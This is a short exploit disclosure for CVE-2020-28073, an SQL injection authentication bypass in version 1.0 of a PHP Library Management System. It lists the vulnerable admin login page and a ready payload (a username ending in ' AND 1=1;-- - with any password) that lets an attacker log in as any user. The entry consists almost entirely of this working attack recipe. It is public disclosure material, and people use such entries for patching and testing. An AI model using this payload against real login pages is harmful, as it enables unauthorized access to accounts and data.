# Exploit Title: Authentication Bypass via SQL injection on Library Management System # Date: 23/10/2020 # Exploit Author: Valerio Alessandroni # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14545/online-library-management-system-phpmysqli-f ull-source-code-2020.html # Version: 1.0 # Tested on: ubuntu 18.04 # CVE : CVE-2020-28073 # Description: SQL injection on Library Management System v1.0 allows a potentially attacker to bypass the user authentication and impersonificate every user on the system. # Reproduction: - Go to login page (http://127.0.0.1/Library/Admin/adminlogin.php) and try to bypass login. username: testuser' AND 1=1;-- - password: RandomlyText